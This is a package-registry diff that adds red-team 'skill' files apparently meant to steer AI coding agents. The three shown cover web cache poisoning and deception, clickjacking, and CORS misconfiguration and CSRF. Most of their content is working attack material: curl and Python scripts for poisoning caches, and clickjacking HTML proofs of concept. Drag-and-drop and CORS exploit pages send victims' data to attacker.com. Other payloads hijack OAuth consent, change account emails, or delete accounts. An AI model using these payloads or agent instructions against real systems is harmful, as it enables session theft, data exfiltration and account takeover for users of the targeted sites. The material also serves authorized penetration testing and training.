rtexit-method 0.1.7 → 0.1.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/packaged-assets/.agents/skills/rt-ai-llm-security/SKILL.md +385 -0
- package/packaged-assets/.agents/skills/rt-business-logic/SKILL.md +190 -0
- package/packaged-assets/.agents/skills/rt-cache-attacks/SKILL.md +166 -0
- package/packaged-assets/.agents/skills/rt-clickjacking/SKILL.md +227 -0
- package/packaged-assets/.agents/skills/rt-cors-csrf/SKILL.md +180 -0
- package/packaged-assets/.agents/skills/rt-deserialization/SKILL.md +223 -0
- package/packaged-assets/.agents/skills/rt-dom-attacks/SKILL.md +219 -0
- package/packaged-assets/.agents/skills/rt-http-parameter-pollution/SKILL.md +187 -0
- package/packaged-assets/.agents/skills/rt-ldap-xpath-injection/SKILL.md +228 -0
- package/packaged-assets/.agents/skills/rt-oauth-oidc/SKILL.md +260 -0
- package/packaged-assets/.agents/skills/rt-path-traversal/SKILL.md +172 -0
- package/packaged-assets/.agents/skills/rt-printer-attacks/SKILL.md +213 -0
- package/packaged-assets/.agents/skills/rt-prototype-pollution/SKILL.md +154 -0
- package/packaged-assets/.agents/skills/rt-request-smuggling/SKILL.md +187 -0
- package/packaged-assets/.agents/skills/rt-sap-exploitation/SKILL.md +275 -0
- package/packaged-assets/.agents/skills/rt-voip-sip/SKILL.md +231 -0
- package/packaged-assets/.agents/skills/rt-xxe/SKILL.md +181 -0
|
@@ -0,0 +1,166 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-cache-attacks
|
|
3
|
+
description: "Web cache poisoning and cache deception skill for authorized engagements. Cache poisoning via unkeyed headers (X-Forwarded-Host, X-Forwarded-Scheme), fat GET requests, cache key normalization flaws, cache deception attacks for stealing session tokens, CDN cache poisoning, DoS via cache poisoning, and parameter cloaking. Use when testing applications using caching layers (Varnish, Cloudflare, Fastly, Nginx proxy_cache)."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-cache-attacks — Web Cache Poisoning & Cache Deception
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Web cache attacks exploit how caching layers store and serve responses. **Cache Poisoning**: trick the cache into storing a malicious response served to all users. **Cache Deception**: trick the cache into storing a response containing the victim's sensitive data, then retrieve it.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Phase 1 — Cache Detection
|
|
15
|
+
|
|
16
|
+
```bash
|
|
17
|
+
# Detect caching headers
|
|
18
|
+
curl -s -I https://target.com/ | grep -i "cache\|age\|x-cache\|cf-cache\|x-varnish"
|
|
19
|
+
# X-Cache: HIT = cached
|
|
20
|
+
# Age: 123 = cached for 123 seconds
|
|
21
|
+
# CF-Cache-Status: HIT = Cloudflare cache hit
|
|
22
|
+
# X-Varnish: 123 456 = Varnish hit
|
|
23
|
+
|
|
24
|
+
# Cache key — what makes responses unique per-cache entry
|
|
25
|
+
# Usually: URL + Host header (sometimes query params, cookies)
|
|
26
|
+
|
|
27
|
+
# Test for unkeyed inputs (affect response but NOT cache key)
|
|
28
|
+
# If adding X-Forwarded-Host changes response but not cache key → poisonable
|
|
29
|
+
curl -H "X-Forwarded-Host: evil.com" https://target.com/
|
|
30
|
+
```
|
|
31
|
+
|
|
32
|
+
---
|
|
33
|
+
|
|
34
|
+
## Phase 2 — Web Cache Poisoning
|
|
35
|
+
|
|
36
|
+
```bash
|
|
37
|
+
# Unkeyed header injection → poison cache with XSS/open redirect
|
|
38
|
+
|
|
39
|
+
# X-Forwarded-Host poisoning
|
|
40
|
+
curl -H "X-Forwarded-Host: attacker.com" https://target.com/
|
|
41
|
+
# If response contains: <script src="//attacker.com/..."> → reflected → cache it
|
|
42
|
+
|
|
43
|
+
# Wait for cache to store poisoned response
|
|
44
|
+
# All users requesting https://target.com/ get XSS payload
|
|
45
|
+
|
|
46
|
+
# X-Forwarded-Scheme poisoning
|
|
47
|
+
curl -H "X-Forwarded-Scheme: http" https://target.com/
|
|
48
|
+
# If redirects to: http://target.com → cache redirect → serve to all users
|
|
49
|
+
|
|
50
|
+
# Fat GET — body in GET request
|
|
51
|
+
curl -X GET https://target.com/ \
|
|
52
|
+
-H "Content-Length: 48" \
|
|
53
|
+
-d "param=../../admin"
|
|
54
|
+
# Some caches key on URL only, ignore body → poisoned response cached
|
|
55
|
+
|
|
56
|
+
# Parameter cloaking (duplicate parameters)
|
|
57
|
+
# Cache sees: /search?q=normal (keyed)
|
|
58
|
+
# Server sees: /search?q=normal&q=<script>alert(1)</script> (unkeyed second param)
|
|
59
|
+
curl "https://target.com/search?q=normal&q=%3Cscript%3Ealert%281%29%3C%2Fscript%3E"
|
|
60
|
+
```
|
|
61
|
+
|
|
62
|
+
```python
|
|
63
|
+
# Automated cache poisoning with param miner
|
|
64
|
+
# Burp Suite → BApp Store → Param Miner
|
|
65
|
+
# Active Scan → sends all unkeyed headers → finds reflections
|
|
66
|
+
|
|
67
|
+
# Manual poisoning script
|
|
68
|
+
import requests, time
|
|
69
|
+
|
|
70
|
+
headers_to_test = [
|
|
71
|
+
"X-Forwarded-Host",
|
|
72
|
+
"X-Host",
|
|
73
|
+
"X-Forwarded-Server",
|
|
74
|
+
"X-HTTP-Method-Override",
|
|
75
|
+
"X-Original-URL",
|
|
76
|
+
"X-Rewrite-URL",
|
|
77
|
+
]
|
|
78
|
+
|
|
79
|
+
for header in headers_to_test:
|
|
80
|
+
r = requests.get("https://target.com/",
|
|
81
|
+
headers={header: "attacker.com"})
|
|
82
|
+
if "attacker.com" in r.text:
|
|
83
|
+
print(f"REFLECTED: {header}")
|
|
84
|
+
# Now poison the cache
|
|
85
|
+
for _ in range(10): # Ensure cached
|
|
86
|
+
requests.get("https://target.com/",
|
|
87
|
+
headers={header: "attacker.com"})
|
|
88
|
+
print(f"Cache poisoned via {header}!")
|
|
89
|
+
```
|
|
90
|
+
|
|
91
|
+
---
|
|
92
|
+
|
|
93
|
+
## Phase 3 — Web Cache Deception
|
|
94
|
+
|
|
95
|
+
```bash
|
|
96
|
+
# Trick cache into storing victim's authenticated response
|
|
97
|
+
# Then fetch it unauthenticated
|
|
98
|
+
|
|
99
|
+
# Scenario:
|
|
100
|
+
# /api/profile returns victim's personal data (not cached — dynamic)
|
|
101
|
+
# /profile/photo.jpg returns a photo (cached — static file)
|
|
102
|
+
# Attack: /api/profile/photo.jpg ← cache sees .jpg → caches it
|
|
103
|
+
# server sees /api/profile → returns user data
|
|
104
|
+
|
|
105
|
+
# Step 1: Trick victim into visiting
|
|
106
|
+
https://target.com/api/profile/nonexistent.jpg
|
|
107
|
+
# (via phishing, stored XSS, etc.)
|
|
108
|
+
|
|
109
|
+
# Step 2: Victim visits → server returns their profile data → cache stores it
|
|
110
|
+
|
|
111
|
+
# Step 3: Attacker fetches same URL (no auth needed — cached)
|
|
112
|
+
curl https://target.com/api/profile/nonexistent.jpg
|
|
113
|
+
# Returns: victim's personal data, session tokens, etc.
|
|
114
|
+
|
|
115
|
+
# Common path extensions that trigger caching:
|
|
116
|
+
extensions = [".jpg", ".png", ".css", ".js", ".ico", ".gif", ".svg", ".woff"]
|
|
117
|
+
for ext in extensions:
|
|
118
|
+
url = f"https://target.com/api/user/profile{ext}"
|
|
119
|
+
r = requests.get(url, cookies={"session": ATTACKER_SESSION})
|
|
120
|
+
if "X-Cache: HIT" in str(r.headers):
|
|
121
|
+
print(f"Cacheable: {url}")
|
|
122
|
+
```
|
|
123
|
+
|
|
124
|
+
---
|
|
125
|
+
|
|
126
|
+
## Phase 4 — CDN-Specific Attacks
|
|
127
|
+
|
|
128
|
+
```bash
|
|
129
|
+
# Cloudflare cache poisoning
|
|
130
|
+
curl -H "CF-Worker: 1" https://target.com/
|
|
131
|
+
curl -H "CF-Connecting-IP: 127.0.0.1" https://target.com/
|
|
132
|
+
curl -H "True-Client-IP: attacker.com" https://target.com/
|
|
133
|
+
|
|
134
|
+
# Fastly cache poisoning
|
|
135
|
+
curl -H "Fastly-Client-IP: 127.0.0.1" https://target.com/
|
|
136
|
+
|
|
137
|
+
# Varnish — via Vary header manipulation
|
|
138
|
+
# If Vary: Cookie → each cookie value = separate cache key
|
|
139
|
+
# Poison specific cached variant
|
|
140
|
+
|
|
141
|
+
# Cache DoS (cache poisoning for unavailability)
|
|
142
|
+
# Poison cached page with 500 error or redirect to non-existent resource
|
|
143
|
+
curl -H "X-Forwarded-Host: 127.0.0.1:99999" https://target.com/
|
|
144
|
+
# Forces error → caches 500 response → all users get error
|
|
145
|
+
```
|
|
146
|
+
|
|
147
|
+
---
|
|
148
|
+
|
|
149
|
+
## Skill Levels
|
|
150
|
+
|
|
151
|
+
**BEGINNER:** Burp Param Miner for unkeyed header discovery · Manual reflection testing
|
|
152
|
+
|
|
153
|
+
**INTERMEDIATE:** X-Forwarded-Host poisoning to XSS · Cache deception for session theft
|
|
154
|
+
|
|
155
|
+
**ADVANCED:** Fat GET poisoning · Parameter cloaking · CDN-specific header abuse
|
|
156
|
+
|
|
157
|
+
**EXPERT:** Response queue poisoning + cache combo · Host header injection chains · Cache DoS at scale
|
|
158
|
+
|
|
159
|
+
---
|
|
160
|
+
|
|
161
|
+
## References
|
|
162
|
+
|
|
163
|
+
- PortSwigger Cache Poisoning: https://portswigger.net/research/practical-web-cache-poisoning
|
|
164
|
+
- PortSwigger Cache Deception: https://portswigger.net/research/web-cache-entanglement
|
|
165
|
+
- Param Miner: https://github.com/PortSwigger/param-miner
|
|
166
|
+
- MITRE T1190: https://attack.mitre.org/techniques/T1190/
|
|
@@ -0,0 +1,227 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-clickjacking
|
|
3
|
+
description: "Clickjacking, UI redressing, and drag-and-drop attack skill for authorized engagements. Classic clickjacking iframe overlay, multi-step clickjacking, drag-and-drop data theft, cursorjacking, touchscreen hijacking, clickjacking for CSRF bypass, and testing X-Frame-Options and Content-Security-Policy frame-ancestors. Use when testing applications that perform state-changing actions on clicks without CSRF tokens."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-clickjacking — Clickjacking & UI Redressing
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Clickjacking tricks users into clicking on something different from what they perceive. An invisible iframe overlay of a target site sits on top of an attacker page — the user thinks they're clicking the attacker's UI but actually clicking the target's buttons (delete account, transfer funds, change email, authorize OAuth).
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Phase 1 — Detection
|
|
15
|
+
|
|
16
|
+
```bash
|
|
17
|
+
# Check X-Frame-Options header
|
|
18
|
+
curl -s -I https://target.com/ | grep -i "x-frame-options\|content-security-policy"
|
|
19
|
+
|
|
20
|
+
# X-Frame-Options: DENY = can't iframe at all (safe)
|
|
21
|
+
# X-Frame-Options: SAMEORIGIN = can only iframe from same origin (safe)
|
|
22
|
+
# No header = potentially vulnerable
|
|
23
|
+
|
|
24
|
+
# CSP frame-ancestors
|
|
25
|
+
# Content-Security-Policy: frame-ancestors 'none' (safe)
|
|
26
|
+
# Content-Security-Policy: frame-ancestors 'self' (safe)
|
|
27
|
+
# No frame-ancestors directive = check X-Frame-Options
|
|
28
|
+
|
|
29
|
+
# Quick test
|
|
30
|
+
cat > test_iframe.html << 'EOF'
|
|
31
|
+
<iframe src="https://target.com" width="800" height="600"></iframe>
|
|
32
|
+
EOF
|
|
33
|
+
# Open in browser — if target renders in iframe → clickjacking possible
|
|
34
|
+
```
|
|
35
|
+
|
|
36
|
+
---
|
|
37
|
+
|
|
38
|
+
## Phase 2 — Basic Clickjacking PoC
|
|
39
|
+
|
|
40
|
+
```html
|
|
41
|
+
<!-- Basic clickjacking — overlay invisible iframe over attacker button -->
|
|
42
|
+
<html>
|
|
43
|
+
<head>
|
|
44
|
+
<style>
|
|
45
|
+
#target-iframe {
|
|
46
|
+
position: absolute;
|
|
47
|
+
width: 800px;
|
|
48
|
+
height: 600px;
|
|
49
|
+
opacity: 0.0001; /* Invisible but clickable */
|
|
50
|
+
z-index: 2;
|
|
51
|
+
top: 0; left: 0;
|
|
52
|
+
}
|
|
53
|
+
#decoy-button {
|
|
54
|
+
position: absolute;
|
|
55
|
+
z-index: 1;
|
|
56
|
+
top: 450px; /* Align with target's "Delete Account" button */
|
|
57
|
+
left: 350px;
|
|
58
|
+
}
|
|
59
|
+
</style>
|
|
60
|
+
</head>
|
|
61
|
+
<body>
|
|
62
|
+
<iframe id="target-iframe" src="https://target.com/settings"></iframe>
|
|
63
|
+
<div id="decoy-button">
|
|
64
|
+
<button>CLICK HERE TO WIN A PRIZE!</button>
|
|
65
|
+
</div>
|
|
66
|
+
</body>
|
|
67
|
+
</html>
|
|
68
|
+
```
|
|
69
|
+
|
|
70
|
+
---
|
|
71
|
+
|
|
72
|
+
## Phase 3 — Multi-Step Clickjacking
|
|
73
|
+
|
|
74
|
+
```html
|
|
75
|
+
<!-- Some actions require multiple clicks (confirm dialog, etc.) -->
|
|
76
|
+
<!-- Multi-step attack with animated decoy -->
|
|
77
|
+
<html>
|
|
78
|
+
<head>
|
|
79
|
+
<style>
|
|
80
|
+
#iframe { position:absolute; opacity:0.0001; z-index:2; width:700px; height:500px; }
|
|
81
|
+
#step1 { position:absolute; z-index:1; top:300px; left:400px; }
|
|
82
|
+
#step2 { position:absolute; z-index:1; top:400px; left:350px; display:none; }
|
|
83
|
+
</style>
|
|
84
|
+
</head>
|
|
85
|
+
<body>
|
|
86
|
+
<iframe id="iframe" src="https://target.com/transfer"></iframe>
|
|
87
|
+
<div id="step1">
|
|
88
|
+
<button onclick="nextStep()">Click here for reward!</button>
|
|
89
|
+
</div>
|
|
90
|
+
<div id="step2">
|
|
91
|
+
<button>Confirm your prize</button>
|
|
92
|
+
</div>
|
|
93
|
+
<script>
|
|
94
|
+
function nextStep() {
|
|
95
|
+
document.getElementById('step1').style.display = 'none';
|
|
96
|
+
document.getElementById('step2').style.display = 'block';
|
|
97
|
+
// Reposition iframe to align with confirmation button
|
|
98
|
+
document.getElementById('iframe').style.top = '200px';
|
|
99
|
+
}
|
|
100
|
+
</script>
|
|
101
|
+
</body>
|
|
102
|
+
</html>
|
|
103
|
+
```
|
|
104
|
+
|
|
105
|
+
---
|
|
106
|
+
|
|
107
|
+
## Phase 4 — Drag-and-Drop Data Theft
|
|
108
|
+
|
|
109
|
+
```html
|
|
110
|
+
<!-- Force user to drag text from target iframe to attacker input -->
|
|
111
|
+
<!-- Bypasses CSRF token (no click needed) -->
|
|
112
|
+
<html>
|
|
113
|
+
<head>
|
|
114
|
+
<style>
|
|
115
|
+
#hidden-iframe { position:absolute; opacity:0.0001; width:500px; height:300px; top:100px; left:0; }
|
|
116
|
+
#drop-zone { position:absolute; z-index:10; top:100px; left:0; width:500px; height:300px;
|
|
117
|
+
background:rgba(0,0,0,0.01); }
|
|
118
|
+
#display { position:absolute; top:500px; }
|
|
119
|
+
</style>
|
|
120
|
+
</head>
|
|
121
|
+
<body>
|
|
122
|
+
<!-- Target iframe with sensitive text (email, token) -->
|
|
123
|
+
<iframe id="hidden-iframe" src="https://target.com/profile"></iframe>
|
|
124
|
+
|
|
125
|
+
<!-- Invisible drag-from zone overlaps target text -->
|
|
126
|
+
<div id="drop-zone"
|
|
127
|
+
ondragover="event.preventDefault()"
|
|
128
|
+
ondrop="stealData(event)">
|
|
129
|
+
</div>
|
|
130
|
+
|
|
131
|
+
<!-- Attacker's visible "game" -->
|
|
132
|
+
<div style="z-index:5">
|
|
133
|
+
<p>DRAG THE TEXT TO WIN! ↓</p>
|
|
134
|
+
<div style="border:2px dashed red; height:100px; width:300px"
|
|
135
|
+
ondragover="event.preventDefault()"
|
|
136
|
+
ondrop="captureData(event)"></div>
|
|
137
|
+
</div>
|
|
138
|
+
|
|
139
|
+
<script>
|
|
140
|
+
function captureData(e) {
|
|
141
|
+
var stolen = e.dataTransfer.getData('text/plain');
|
|
142
|
+
fetch('https://attacker.com/collect?data=' + encodeURIComponent(stolen));
|
|
143
|
+
document.getElementById('display').innerText = "Got: " + stolen;
|
|
144
|
+
}
|
|
145
|
+
</script>
|
|
146
|
+
</body>
|
|
147
|
+
</html>
|
|
148
|
+
```
|
|
149
|
+
|
|
150
|
+
---
|
|
151
|
+
|
|
152
|
+
## Phase 5 — Clickjacking for OAuth/Auth Bypass
|
|
153
|
+
|
|
154
|
+
```html
|
|
155
|
+
<!-- Clickjack OAuth "Authorize" button → grant permissions to attacker app -->
|
|
156
|
+
<html>
|
|
157
|
+
<style>
|
|
158
|
+
#oauth-iframe {
|
|
159
|
+
position: absolute;
|
|
160
|
+
opacity: 0.0001;
|
|
161
|
+
z-index: 2;
|
|
162
|
+
width: 700px;
|
|
163
|
+
height: 700px;
|
|
164
|
+
}
|
|
165
|
+
#fake-button {
|
|
166
|
+
position: absolute;
|
|
167
|
+
z-index: 1;
|
|
168
|
+
top: 580px; /* Align with OAuth "Allow" button */
|
|
169
|
+
left: 280px;
|
|
170
|
+
}
|
|
171
|
+
</style>
|
|
172
|
+
<body>
|
|
173
|
+
<iframe id="oauth-iframe"
|
|
174
|
+
src="https://idp.target.com/oauth/authorize?client_id=ATTACKER_APP&response_type=token&scope=read:all&redirect_uri=https://attacker.com/callback">
|
|
175
|
+
</iframe>
|
|
176
|
+
<div id="fake-button">
|
|
177
|
+
<button>Login with Google (click to continue)</button>
|
|
178
|
+
</div>
|
|
179
|
+
</body>
|
|
180
|
+
</html>
|
|
181
|
+
<!-- Victim clicks "Login with Google" → actually clicks OAuth Allow → grants attacker app access -->
|
|
182
|
+
```
|
|
183
|
+
|
|
184
|
+
---
|
|
185
|
+
|
|
186
|
+
## Phase 6 — Framebusting Bypass
|
|
187
|
+
|
|
188
|
+
```bash
|
|
189
|
+
# Some apps use JavaScript framebusting:
|
|
190
|
+
# if(top !== self) { top.location = self.location }
|
|
191
|
+
|
|
192
|
+
# Bypass 1: sandbox attribute (prevents framebusting JS)
|
|
193
|
+
<iframe src="https://target.com" sandbox="allow-forms allow-scripts"></iframe>
|
|
194
|
+
# sandbox="allow-forms" allows form submission but blocks top.location access
|
|
195
|
+
|
|
196
|
+
# Bypass 2: onbeforeunload event (delays redirect)
|
|
197
|
+
<html>
|
|
198
|
+
<script>
|
|
199
|
+
window.onbeforeunload = function() { return "Leave page?" }
|
|
200
|
+
</script>
|
|
201
|
+
<iframe src="https://target.com"></iframe>
|
|
202
|
+
</html>
|
|
203
|
+
# User clicks "Stay" → framebusting prevented
|
|
204
|
+
|
|
205
|
+
# Bypass 3: HTML5 sandbox with allow-top-navigation
|
|
206
|
+
<iframe sandbox="allow-top-navigation allow-scripts allow-forms" src="https://target.com"></iframe>
|
|
207
|
+
```
|
|
208
|
+
|
|
209
|
+
---
|
|
210
|
+
|
|
211
|
+
## Skill Levels
|
|
212
|
+
|
|
213
|
+
**BEGINNER:** Basic opacity iframe PoC · X-Frame-Options detection
|
|
214
|
+
|
|
215
|
+
**INTERMEDIATE:** Multi-step clickjacking with repositioning · Framebusting bypass via sandbox
|
|
216
|
+
|
|
217
|
+
**ADVANCED:** Drag-and-drop data theft · OAuth clickjacking · Custom alignment for specific buttons
|
|
218
|
+
|
|
219
|
+
**EXPERT:** Cursorjacking · Touchscreen clickjacking on mobile · Combining with CSRF for amplified impact
|
|
220
|
+
|
|
221
|
+
---
|
|
222
|
+
|
|
223
|
+
## References
|
|
224
|
+
|
|
225
|
+
- PortSwigger Clickjacking: https://portswigger.net/web-security/clickjacking
|
|
226
|
+
- OWASP Clickjacking: https://owasp.org/www-community/attacks/Clickjacking
|
|
227
|
+
- Drag-and-drop research: https://www.contextis.com/en/blog/data-exfiltration-via-css-injection
|
|
@@ -0,0 +1,180 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-cors-csrf
|
|
3
|
+
description: "CORS misconfiguration and CSRF attack skill for authorized engagements. CORS origin reflection exploitation, null origin bypass, subdomain-based CORS abuse, pre-flight bypass, CSRF token bypass techniques (referer validation, SameSite cookie bypass, token prediction), CSRF via content-type confusion, and login CSRF. Use when testing cross-origin resource sharing policies and cross-site request forgery protections."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-cors-csrf — CORS Misconfiguration & CSRF
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
**CORS misconfigurations** allow attacker origins to read responses from authenticated APIs — credentials, tokens, PII. **CSRF** tricks users into making unintended authenticated requests. Together they represent broken cross-origin controls, among the most common web vulnerabilities.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Part 1 — CORS Misconfiguration
|
|
15
|
+
|
|
16
|
+
### Phase 1 — Detection
|
|
17
|
+
|
|
18
|
+
```bash
|
|
19
|
+
# Test CORS headers
|
|
20
|
+
curl -H "Origin: https://attacker.com" https://target.com/api/user -v 2>&1 | grep -i "access-control"
|
|
21
|
+
# Vulnerable if:
|
|
22
|
+
# Access-Control-Allow-Origin: https://attacker.com ← reflects your origin
|
|
23
|
+
# Access-Control-Allow-Credentials: true ← with credentials!
|
|
24
|
+
|
|
25
|
+
# Test variations
|
|
26
|
+
for origin in "https://attacker.com" "null" "https://target.com.attacker.com" "https://attackertarget.com"; do
|
|
27
|
+
echo -n "$origin → "
|
|
28
|
+
curl -s -I -H "Origin: $origin" https://target.com/api/ | grep -i "access-control-allow-origin"
|
|
29
|
+
done
|
|
30
|
+
```
|
|
31
|
+
|
|
32
|
+
### Phase 2 — Exploit Origin Reflection
|
|
33
|
+
|
|
34
|
+
```html
|
|
35
|
+
<!-- If Access-Control-Allow-Origin reflects any Origin + Allow-Credentials: true -->
|
|
36
|
+
<!-- Host on attacker.com: -->
|
|
37
|
+
<html><body>
|
|
38
|
+
<script>
|
|
39
|
+
fetch('https://target.com/api/user', {credentials: 'include'})
|
|
40
|
+
.then(r => r.json())
|
|
41
|
+
.then(data => {
|
|
42
|
+
// Send victim's data to attacker
|
|
43
|
+
fetch('https://attacker.com/collect', {
|
|
44
|
+
method: 'POST',
|
|
45
|
+
body: JSON.stringify(data)
|
|
46
|
+
});
|
|
47
|
+
});
|
|
48
|
+
</script>
|
|
49
|
+
</body></html>
|
|
50
|
+
<!-- Victim visits attacker.com → their authenticated API response stolen -->
|
|
51
|
+
```
|
|
52
|
+
|
|
53
|
+
### Phase 3 — Null Origin Bypass
|
|
54
|
+
|
|
55
|
+
```html
|
|
56
|
+
<!-- Some apps whitelist "null" origin (sandboxed iframes send null) -->
|
|
57
|
+
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
|
|
58
|
+
src="data:text/html,<script>
|
|
59
|
+
fetch('https://target.com/api/sensitive', {credentials:'include'})
|
|
60
|
+
.then(r=>r.text())
|
|
61
|
+
.then(d=>location='https://attacker.com/?'+encodeURIComponent(d))
|
|
62
|
+
</script>">
|
|
63
|
+
</iframe>
|
|
64
|
+
```
|
|
65
|
+
|
|
66
|
+
### Phase 4 — Subdomain Bypass
|
|
67
|
+
|
|
68
|
+
```bash
|
|
69
|
+
# CORS regex: /.*target\.com$/ → matches evil.target.com
|
|
70
|
+
# Find XSS on any subdomain → use it to make CORS request
|
|
71
|
+
|
|
72
|
+
# Or: register subdomain-lookalike
|
|
73
|
+
# Whitelist: *.target.com → register: attacker.target.com.evil.com? (no)
|
|
74
|
+
# But if regex: /target\.com/ → matches: attackertarget.com
|
|
75
|
+
|
|
76
|
+
# Test subdomain origin
|
|
77
|
+
curl -H "Origin: https://evil.target.com" https://target.com/api/
|
|
78
|
+
curl -H "Origin: https://target.com.evil.com" https://target.com/api/
|
|
79
|
+
```
|
|
80
|
+
|
|
81
|
+
---
|
|
82
|
+
|
|
83
|
+
## Part 2 — CSRF
|
|
84
|
+
|
|
85
|
+
### Phase 5 — CSRF Detection
|
|
86
|
+
|
|
87
|
+
```bash
|
|
88
|
+
# Check for CSRF token in state-changing requests
|
|
89
|
+
# Capture POST/PUT/DELETE in Burp → look for _csrf, csrf_token, X-CSRF-Token header
|
|
90
|
+
|
|
91
|
+
# Test 1: Remove CSRF token
|
|
92
|
+
# If request succeeds without token → CSRF vulnerable
|
|
93
|
+
|
|
94
|
+
# Test 2: Use another user's CSRF token
|
|
95
|
+
# Log in as User A → get A's token → use in User B's request
|
|
96
|
+
# If succeeds → token not tied to session → CSRF vulnerable
|
|
97
|
+
|
|
98
|
+
# Test 3: Empty token
|
|
99
|
+
# Change csrf_token=VALID to csrf_token=
|
|
100
|
+
# If succeeds → validation flawed
|
|
101
|
+
|
|
102
|
+
# Test 4: Referer-only validation
|
|
103
|
+
curl -X POST https://target.com/change-password \
|
|
104
|
+
-b "session=VICTIM_SESSION" \
|
|
105
|
+
-d "new_password=hacked" \
|
|
106
|
+
--referer "https://target.com" # Forge referer
|
|
107
|
+
```
|
|
108
|
+
|
|
109
|
+
### Phase 6 — CSRF Exploit
|
|
110
|
+
|
|
111
|
+
```html
|
|
112
|
+
<!-- Classic CSRF — change victim's email -->
|
|
113
|
+
<html><body>
|
|
114
|
+
<form id="csrf" action="https://target.com/account/update" method="POST">
|
|
115
|
+
<input name="email" value="attacker@evil.com">
|
|
116
|
+
<input name="action" value="update">
|
|
117
|
+
</form>
|
|
118
|
+
<script>document.getElementById('csrf').submit();</script>
|
|
119
|
+
</body></html>
|
|
120
|
+
|
|
121
|
+
<!-- JSON CSRF (Content-Type: text/plain → server accepts) -->
|
|
122
|
+
<html><body>
|
|
123
|
+
<form id="csrf" action="https://target.com/api/transfer" method="POST"
|
|
124
|
+
enctype="text/plain">
|
|
125
|
+
<input name='{"amount":1000,"to":"attacker","x":"' value='"}'>
|
|
126
|
+
</form>
|
|
127
|
+
<script>document.getElementById('csrf').submit();</script>
|
|
128
|
+
</body></html>
|
|
129
|
+
|
|
130
|
+
<!-- CSRF via fetch (if CORS allows null origin) -->
|
|
131
|
+
<iframe sandbox="allow-scripts" src="data:text/html,<script>
|
|
132
|
+
fetch('https://target.com/api/admin/delete', {
|
|
133
|
+
method:'POST',
|
|
134
|
+
credentials:'include',
|
|
135
|
+
body:'user_id=victim'
|
|
136
|
+
})
|
|
137
|
+
</script>">
|
|
138
|
+
</iframe>
|
|
139
|
+
```
|
|
140
|
+
|
|
141
|
+
### Phase 7 — SameSite Cookie Bypass
|
|
142
|
+
|
|
143
|
+
```bash
|
|
144
|
+
# SameSite=Lax: cookies sent on top-level navigation GET requests
|
|
145
|
+
# Bypass: use GET-based state-changing endpoint if exists
|
|
146
|
+
|
|
147
|
+
# Test: does the action work via GET?
|
|
148
|
+
curl "https://target.com/account/delete?confirm=true" \
|
|
149
|
+
-b "session=VICTIM_SESSION"
|
|
150
|
+
|
|
151
|
+
# SameSite=None without Secure: works cross-site (flag misconfiguration)
|
|
152
|
+
# SameSite not set (old default Lax): bypass via sibling subdomain + HTTPS redirect chain
|
|
153
|
+
|
|
154
|
+
# Login CSRF — force victim to log into attacker account
|
|
155
|
+
<form action="https://target.com/login" method="POST">
|
|
156
|
+
<input name="username" value="attacker_account">
|
|
157
|
+
<input name="password" value="attacker_password">
|
|
158
|
+
</form>
|
|
159
|
+
# Victim submits → now logged in as attacker → attacker reads victim's activity
|
|
160
|
+
```
|
|
161
|
+
|
|
162
|
+
---
|
|
163
|
+
|
|
164
|
+
## Skill Levels
|
|
165
|
+
|
|
166
|
+
**BEGINNER:** CORS header inspection · Basic CSRF with HTML form · Remove CSRF token test
|
|
167
|
+
|
|
168
|
+
**INTERMEDIATE:** Origin reflection exploit · Null origin iframe CORS · JSON CSRF
|
|
169
|
+
|
|
170
|
+
**ADVANCED:** Subdomain CORS bypass + XSS chaining · SameSite Lax bypass via GET state-change
|
|
171
|
+
|
|
172
|
+
**EXPERT:** Pre-flight bypass via non-simple methods · CSRF token prediction · Login CSRF chains
|
|
173
|
+
|
|
174
|
+
---
|
|
175
|
+
|
|
176
|
+
## References
|
|
177
|
+
|
|
178
|
+
- PortSwigger CORS: https://portswigger.net/web-security/cors
|
|
179
|
+
- PortSwigger CSRF: https://portswigger.net/web-security/csrf
|
|
180
|
+
- SameSite bypass research: https://portswigger.net/research/bypassing-samesite-cookie-restrictions
|